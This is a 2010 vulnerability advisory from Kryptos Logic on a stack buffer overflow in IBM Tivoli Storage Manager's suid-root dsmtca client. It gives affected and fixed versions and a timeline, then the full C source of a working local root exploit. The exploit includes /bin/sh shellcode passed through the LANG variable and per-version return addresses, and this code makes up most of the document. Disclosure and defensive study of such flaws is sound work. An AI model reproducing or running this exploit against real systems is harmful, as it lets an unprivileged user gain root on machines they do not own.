Kryptos Logic Advisory: IBM Tivoli Storage Manager (TSM) Local Root Dec 15 2010 05:55PM
Kryptos Logic Secure (secure kryptoslogic com)
http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt
ca.txt
http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt
ca-exploit.c

==-===-=====-=======-===========-=============-=================

IBM Tivoli Storage Manager (TSM) Local Root

Kryptos Logic, December 2010

==-===-=====-=======-===========-=============-=================

=====[ Timeline

Vendor Contacted...........: 2009-12-14
Fix from Vendor............: 2010-12-14
Advisory Published.........: 2010-12-15

=====[ Affected Versions

Vulnerable:
IBM TSM 6.1: 6.1.0.0 through 6.1.3.0
IBM TSM 5.5: 5.5.0.0 through 5.5.2.7
IBM TSM 5.4: 5.4.0.0 through 5.4.3.3
IBM TSM 5.3: 5.3.0.0 through 5.3.6.7
- Potentially older versions of IBM TSM dsmtca

Not vulnerable:
IBM TSM 6.1.4
IBM TSM 5.5.3
IBM TSM 5.4.3.4
IBM TSM 5.3.6.10

See IBM advisory IC65491 for details:
http://www.ibm.com/support/docview.wss?uid=swg21454745

=====[ Vulnerability

When IBM TSM communicates with the suid root backup client
dsmtca, it is handled through pipes. The function
GeneratePassword() does not perform boundary checking, which can
lead to a classic stack based buffer overflow - making local
code execution possible.

=====[ Exploitation

The LANG environment variable gets copied to a fixed location in
memory. An attacker can achieve arbitrary code execution by
placing his shellcode in the variable, and then overwrite the
return address of GeneratePassword() with the known address that
the value is copied to.

=====[ Credits

Discovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic.
Exploit developed by Peter Wilhelmsen and Morten Shearman
Kirkegaard, Kryptos Logic.

=====[ About Kryptos Logic

Kryptos Logic is a group of talented computer security experts
from around the globe that has coalesced into a highly effective
team. We provide a wide range of security products ranging from
binary analysis, instrusion management systems, anti-piracy, and
digital rights management software. We also perform
state-of-the-art research on emerging attack vectors and threats
to current digital infrastructure.

http://www.kryptoslogic.com/
/*
* IBM Tivoli Storage Manager 6.1 - Local Root in DSMTCA GeneratePassword
* Copyright (C) 2009-2010 Kryptos Logic
*
* Bug discovered by Peter Wilhelmsen and Daniel Kalici.
* Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard.
*
* http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt
ca.txt
* http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt
ca-exploit.c
*/

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <inttypes.h>

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

enum arguments {
tcaProgramPath,
tcaDebugStop,
tcaAlertString,
tcaPipe0,
tcaPipe1,
tcaPipe2,
tcaPipe3,
tcaPswdFileName,
tcaLang,
tcaErrorLog,
tcaDsDir,
tcaRequest,
tcaSessID,
tcaServerName,
tcaPasswordFile,
tcaPasswordDir,
tcaBuildData,
tcaBuildTime,
tcaCliType,
tcaTraceTrusted,
tcaClusterEnabl,
tcaCryptoType,
tcaTerminate,
tcaArgCount
};

/* Find the buflen (56 in this case) in GeneratePassword().
*
* .text:0805B056 _Z16GeneratePasswordhiiP12pswdFileInfoPcS1_S1_S1_S1_ proc near
* ...
* .text:0805B155 lea eax, [ebp-56]
* .text:0805B158 mov [esp+4], eax ; buf
* .text:0805B15C mov [esp], edi ; fd
* .text:0805B15F call _read
*
*
* Set the retaddr (0x083C7100 in this case) to the Locale export.
*
* .data:083C7100 Locale db 55h dup(0) ; DATA XREF: .got:Locale_ptro
*/
struct {
char *name;
int buflen;
uint32_t retaddr;
} versions[] = {
{ "5.5.1.4-linux-i386", 40, 0x0826E7E0 },
{ "5.5.2.0-linux-i386", 40, 0x08278180 },
{ "6.1.0.0-linux-i386", 56, 0x08356520 },
{ "6.1.3.0-linux-i386", 56, 0x083C7100 },
{ NULL }
};

void SpawnTask(char *argv[])
{
pid_t pid;

signal(SIGCHLD, SIG_IGN);

pid = fork();

if (pid == -1) {
perror("fork() failed");
exit(EXIT_FAILURE);
}

if (pid != 0) {
return;
}

signal(SIGINT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
signal(SIGSEGV, SIG_IGN);
signal(SIGXFSZ, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
signal(SIGABRT, SIG_IGN);

execv(argv[0], argv);
perror("execv() failed");
exit(EXIT_FAILURE);
}

void exploit(int v)
{
int pfd[2];
int cfd[2];
char p0[16];
char p1[16];
char p2[16];
char p3[16];
char buffer[64];
uint8_t len;
char *args[tcaArgCount];

len = versions[v].buflen + 8;
if (len > sizeof(buffer)) {
fprintf(stderr, "versions[%d].buflen > %d\n",
v, (int)sizeof(buffer));
exit(EXIT_FAILURE);
}

setenv("LANG", shellcode, strlen(shellcode));

if((pipe(pfd) == -1) || (pipe(cfd) == -1))
{
perror("pipe() failed");
exit(EXIT_FAILURE);
}

sprintf(p0, "%d", pfd[0]);
sprintf(p1, "%d", pfd[1]);
sprintf(p2, "%d", cfd[0]);
sprintf(p3, "%d", cfd[1]);

args[tcaProgramPath ] = "/opt/tivoli/tsm/client/ba/bin/dsmtca";
args[tcaDebugStop ] = "0";
args[tcaAlertString ] = "TCA Interr\bfacee\b ADSM Release 3";
args[tcaPipe0 ] = p0;
args[tcaPipe1 ] = p1;
args[tcaPipe2 ] = p2;
args[tcaPipe3 ] = p3;
args[tcaPswdFileName] = "/etc/adsm/TSM.PWD";
args[tcaLang ] = "/opt/tivoli/tsm/client/lang/en_US/dsmclientV3.cat";
args[tcaErrorLog ] = "/var/log/dsmerror.log";
args[tcaDsDir ] = "/opt/tivoli/tsm/client/ba/bin";
args[tcaRequest ] = "C";
args[tcaSessID ] = "NODE";
args[tcaServerName ] = "SERVER";
args[tcaPasswordFile] = "/etc/adsm/TSM.PWD";
args[tcaPasswordDir ] = "";
args[tcaBuildData ] = "AASATRG";
args[tcaBuildTime ] = "DMESEEG";
args[tcaCliType ] = "";
args[tcaTraceTrusted] = "0";
args[tcaClusterEnabl] = "0";
args[tcaCryptoType ] = "1";
args[tcaTerminate ] = (char *)NULL;

SpawnTask(args);

close(pfd[0]);
close(cfd[1]);

/* 0805A7BD call _read( fd, buf, 1 ) */
write(pfd[1], "\x41", 1);

/* 0805A7DD call _read( fd, var_AAA, 1 ) */
write(pfd[1], "\x41", 1);

/* 0805A7FD call _read( fd, var_5BB, 1 ) */
write(pfd[1], &len, 1);

/* 0805A824 call _read( fd, var_28, var_5BB ) */
memset(buffer, 'A', sizeof(buffer));
*(uint32_t *)(buffer + len - 4) = versions[v].retaddr;
write(pfd[1], buffer, len);

/* read the response, needed to make GeneratePassword() return */
read(cfd[0], buffer, sizeof(buffer));

close(pfd[1]);
close(cfd[0]);
}

void usage(char *path)
{
int i;

fprintf(stderr, "Usage: %s version\n", path);
fprintf(stderr, "\n");
fprintf(stderr, "Where \"version\" is one of:\n");
for (i=0; versions[i].name; i++) {
fprintf(stderr, "%s\n", versions[i].name);
}
}

int main(int argc, char *argv[])
{
int i;

if (argc != 2) {
usage(argv[0]);
return EXIT_FAILURE;
}

for (i=0; versions[i].name; i++) {
if (strcmp(argv[1], versions[i].name) == 0) {
exploit(i);
return EXIT_SUCCESS;
}
}

usage(argv[0]);
return EXIT_FAILURE;
}

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